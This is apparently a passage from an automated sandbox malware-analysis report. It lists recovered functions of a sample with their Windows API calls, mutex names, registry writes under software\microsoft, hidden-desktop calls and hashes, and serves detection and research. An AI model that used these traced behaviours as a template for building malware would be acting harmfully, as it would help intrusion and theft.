                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Mutex$HandleOpenSleep$BackslashCloseInformationPathRelease
                                                                                                                                                                                                                      • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$VEFK
                                                                                                                                                                                                                      • API String ID: 849374196-3911370694
                                                                                                                                                                                                                      • Opcode ID: 7a12b42d26df1aa9005165d6c534c48faf37e374646ff2b8af27a7be40716ed0
                                                                                                                                                                                                                      • Instruction ID: 469c20195d77e9ae07c9cbef2790cf23f48b80675a4e2c88465f4b3a9419ca31
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7a12b42d26df1aa9005165d6c534c48faf37e374646ff2b8af27a7be40716ed0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 55012DF5AC17143BF32157689C47F5FB7C9AF49B15F428504FD84A61809BF098008AB6
                                                                                                                                                                                                                      Function 02710110 Relevance: 17.5, APIs: 8, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtFrame,0273A450,75B05180,026F1350), ref: 02710121
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtFrame,0273A488), ref: 02710131
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtFrame,0273A4B8), ref: 02710141
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtFrame,0273A4D8), ref: 02710151
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtDialog,0273A450), ref: 02710161
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtDialog,0273A488), ref: 02710171
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtDialog,0273A4B8), ref: 02710181
                                                                                                                                                                                                                      • FindWindowW.USER32(SunAwtDialog,0273A4D8), ref: 02710191
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FindWindow
                                                                                                                                                                                                                      • String ID: SunAwtDialog$SunAwtFrame
                                                                                                                                                                                                                      • API String ID: 134000473-1757792087
                                                                                                                                                                                                                      • Opcode ID: 6b2da6d1a69cb6df2f288972e8e64e99eded5e2fe4d7c9137cfd07534db87287
                                                                                                                                                                                                                      • Instruction ID: ee342b179dc1ab8c8e3ca9fa6939f1f791e37e71c3e5c75428a642e4e7ee3834
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6b2da6d1a69cb6df2f288972e8e64e99eded5e2fe4d7c9137cfd07534db87287
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FBF01AD57C2367687B52A1AD2D0BF691F4A0F90CE97414022BCD6F5007F6C9D48225F2
                                                                                                                                                                                                                      Function 027132B0 Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 027132DC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027132E5
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 027132F9
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271330B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2192), ref: 02713316
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE2192,RFK), ref: 02713330
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 02713336
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                                      • String ID: 26EE2192$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$RFK
                                                                                                                                                                                                                      • API String ID: 4280258085-90170663
                                                                                                                                                                                                                      • Opcode ID: 3fb1bb3ee5b65279e49179fd122be061714d7171e79c4a35c57e39875a602602
                                                                                                                                                                                                                      • Instruction ID: d0206e4031ca1a82e57796f935a17ee3b05251deec3f9442a0737d5156b77428
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3fb1bb3ee5b65279e49179fd122be061714d7171e79c4a35c57e39875a602602
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5AF022B1AC63006AF31267688C0BF4F7BDC6F48B06F808144F541B20818FF494008BBA
                                                                                                                                                                                                                      Function 0270B8F0 Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 0270B91C
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270B925
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270B939
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270B94B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2538), ref: 0270B956
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee2538,ALPHA), ref: 0270B970
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270B976
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                                      • String ID: 26ee2538$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}
                                                                                                                                                                                                                      • API String ID: 4280258085-1812047668
                                                                                                                                                                                                                      • Opcode ID: 94d7a033496d554f943160698b72c500044f2cd606f7b348848dd31855f792c0
                                                                                                                                                                                                                      • Instruction ID: 5fc165bf6d8f26755fd211fa5107dfa3a06afccf5757c2cde6ec75c014ed3d54
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 94d7a033496d554f943160698b72c500044f2cd606f7b348848dd31855f792c0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 96F02DB0DD9305EBE60157644C8AF1B77DCAF4DA09F418904F601B12C1CBF0961487B6
                                                                                                                                                                                                                      Function 0270FE80 Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 0270FEAC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270FEB5
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270FEC9
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270FEDB
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2482), ref: 0270FEE6
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26ee2482,HANDY), ref: 0270FF00
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270FF06
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                                      • String ID: 26ee2482$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}
                                                                                                                                                                                                                      • API String ID: 4280258085-786606594
                                                                                                                                                                                                                      • Opcode ID: d0d4a782afc135385e71f4eba9a353126a052239f41e86e320e4445c7184cd40
                                                                                                                                                                                                                      • Instruction ID: 5b1a6e0ea9c0c689ab008b720d987441a3fba775d279b0dc4cf2f0b596859723
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d0d4a782afc135385e71f4eba9a353126a052239f41e86e320e4445c7184cd40
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6DF0C8B0AC7306ABE32257949C8BF5B77DCAF09A19F408504F659B21C19FF465048BB7
                                                                                                                                                                                                                      Function 0270CB98 Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 34sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}), ref: 0270CBAC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270CBB9
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270CBCD
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270CBDF
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0270CBEE
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270CBF5
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,26EE256C,BSS), ref: 0270CC0F
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 0270CC15
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleMutexSleep$BackslashCloseInformationObjectOpenPathReleaseSingleWait
                                                                                                                                                                                                                      • String ID: 26EE256C$BSS$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}
                                                                                                                                                                                                                      • API String ID: 3206501308-734855587
                                                                                                                                                                                                                      • Opcode ID: 9aca7693bed653c947b168ce05b2754eda43bc359ecff782fd78463d61af7fb1
                                                                                                                                                                                                                      • Instruction ID: 4cb6b38b46c2a2f62687ebc066bbfffcfd890378198deab04b13a7a7857fe826
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9aca7693bed653c947b168ce05b2754eda43bc359ecff782fd78463d61af7fb1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C6F09670A8A300ABE33367609C4EF5F7BD4AF09F1AF00860DFC51A21C19BB484188B66
                                                                                                                                                                                                                      Function 026F91B0 Relevance: 16.6, APIs: 11, Instructions: 120filesynchronizationmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SetThreadDesktop.USER32(?,74DF3050,74DF30D0,74DF3080), ref: 026F91F0
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026F9204
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026F920F
                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(?,?,00000006,00000000), ref: 026F9237
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(?,00000000), ref: 026F9254
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 026F9265
                                                                                                                                                                                                                      • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,0273F54C), ref: 026F9285
                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 026F929C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,?,?,?), ref: 026F92DC
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,0000007E,?,00000000,?,00000006,00000001,?,?), ref: 026F9324
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,00000000,?,00000006,00000001,?,?), ref: 026F932D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$HandleMutexObjectReleaseSingleViewWait$CloseCreateDesktopFreeHeapInformationMappingThreadUnmap
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2125184990-0
                                                                                                                                                                                                                      • Opcode ID: 8d80e3fea4a9c9d62fca828b07a16c1c7ee9ffefc5a11a371adfdd64d9382250
                                                                                                                                                                                                                      • Instruction ID: 6bee05b7aa24f0f1f4c7c82c59e818631bae5fefcdd32d83f0d5033b2c685d81
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8d80e3fea4a9c9d62fca828b07a16c1c7ee9ffefc5a11a371adfdd64d9382250
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A341B676E85210ABDB14DF74DD49F6B77A9AB49311F50CE06FB11972C0C7B1A820CB60
                                                                                                                                                                                                                      Function 027001A0 Relevance: 16.6, APIs: 11, Instructions: 115memorynetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000823,?,?,00000000), ref: 027001F4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,00000000), ref: 0270020C
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270020F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270021C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270021F
                                                                                                                                                                                                                      • InternetQueryOptionA.WININET(?,00000022,00000000,-0273FAE4), ref: 0270023C
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000014), ref: 02700259
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02700260
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000014), ref: 02700270
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 027002B5
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,00000000,?,00000000,00000000,?), ref: 027002C9
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Processmemset$AllocFreeInternetOptionQueryValidatememcpy
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3911349929-0
                                                                                                                                                                                                                      • Opcode ID: 8112d45868ca6579ebe7b9f954137e781957264e38ee698f219b90155d3d5af7
                                                                                                                                                                                                                      • Instruction ID: 8f3b51013048d353d069914506a9eb00a8fcf4f46d85fb31ad9a3b5996fbc4bf
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8112d45868ca6579ebe7b9f954137e781957264e38ee698f219b90155d3d5af7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 16419EB1A40305EFD720DFA4DC88F6BB7F8EB48711F108959E949A7281DB71E914CBA0
                                                                                                                                                                                                                      Function 02700050 Relevance: 16.6, APIs: 11, Instructions: 96memorynetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000823,00000001,00000000,00000000), ref: 02700071
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,00000000), ref: 0270008C
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270008F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270009C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270009F
                                                                                                                                                                                                                      • InternetQueryOptionA.WININET(?,00000022,00000000,?), ref: 027000BC
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000014), ref: 027000D9
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 027000E0
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000014), ref: 027000F0
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000002), ref: 02700109
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,00000000,?,?,00000000,00000002), ref: 0270011C
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Processmemset$AllocFreeInternetOptionQueryValidatememcpy
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3911349929-0
                                                                                                                                                                                                                      • Opcode ID: 510191468f83b91ebe0d2ce2f4b22110a005fdf4ecaeaa7187e2b3d284ce01bb
                                                                                                                                                                                                                      • Instruction ID: 472ec26acc3be693413a13e1f240d3f91a5a3cf258bf23b81787face2a9a2a8e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 510191468f83b91ebe0d2ce2f4b22110a005fdf4ecaeaa7187e2b3d284ce01bb
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7C31AC72A41214ABE721DB69DC88F5AB7ACEF48721F448144FE489B281DB71AD158BF0
                                                                                                                                                                                                                      Function 026FF3C0 Relevance: 16.5, APIs: 13, Instructions: 218memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,-04E7F5C8,00000000,00000000,?,?,?,?), ref: 026FF404
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026FF40B
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?), ref: 026FF41B
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 026FF426
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(?,00000000,00000000,?,?,027356DC,?,02735E1C,-04E7F5C8,00000000,00000000,?), ref: 026FF4EE
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FF4F5
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(?,00000000), ref: 026FF501
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FF508
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,00000000,?,?,?,?,?,02735E1C,-04E7F5C8,00000000,00000000,?), ref: 026FF52E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,-04E7F5C8,00000000,00000000,?,?,?,?), ref: 026FF55A
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026FF55D
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026FF56A
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026FF56D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidatememcpy$Allocmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1948005343-0
                                                                                                                                                                                                                      • Opcode ID: 2cc1133f670f98d5604caddb5c16da4822645f98c84de19b150fdd81ad9d575d
                                                                                                                                                                                                                      • Instruction ID: e30a993a1a1ec92e2ee973d1838216a88be036347de7712a8580d5205ea25cbc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2cc1133f670f98d5604caddb5c16da4822645f98c84de19b150fdd81ad9d575d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3561E372A002199BDF60CF69D884AAEB7A9FF98324F048259FE0597391D771DD11CBE0
                                                                                                                                                                                                                      Function 026F7B00 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 124registrymemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,74DEF380), ref: 026F7B33
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,?,00000000,00000103,?,74DEF380), ref: 026F7B4B
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,?,?,?,?,?,?,74DEF380), ref: 026F7B6C
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,00000104,00000000,00000001,?,00000104,?,?,?,?,?,74DEF380), ref: 026F7B92
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,74DEF380), ref: 026F7C1D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,74DEF380), ref: 026F7C24
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?,?,?,?,?,?,?,?,?,74DEF380), ref: 026F7C33
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,?,?,?,?,74DEF380), ref: 026F7C63
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$Heap$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                                      • String ID: software\microsoft
                                                                                                                                                                                                                      • API String ID: 4158279268-3673152959
                                                                                                                                                                                                                      • Opcode ID: c421945a99a5ffb84cfa16b9459f8dc88e0bcd438bd0ba6f2b49d25cc0a3a04a
                                                                                                                                                                                                                      • Instruction ID: 8fa110c67f4e582a940a3dbd3fac897cb3dd7fe79b01258af780a2c06476f079
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c421945a99a5ffb84cfa16b9459f8dc88e0bcd438bd0ba6f2b49d25cc0a3a04a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5E411771A0015DAFEF16DF788C98AEEB7ADEF49304F4045A8E689D3240D7714E498BA0
                                                                                                                                                                                                                      Function 026F7E20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,00000000,0000000A), ref: 026F7E42
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,000000FF,00000000,0000000A), ref: 026F7E60
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(02705D5C,software\microsoft,00000000,00000102,80000002,?,?,?,?,00000000,0000000A), ref: 026F7EFD
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(80000002,d900d91da,00000000,00000001,?,00000104,?,?,?,?,00000000,0000000A), ref: 026F7F1F
                                                                                                                                                                                                                      • RegDeleteValueA.ADVAPI32(80000002,d900d91da,?,?,?,?,00000000,0000000A), ref: 026F7F2C
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 026F7F3A
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 026F7F4F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
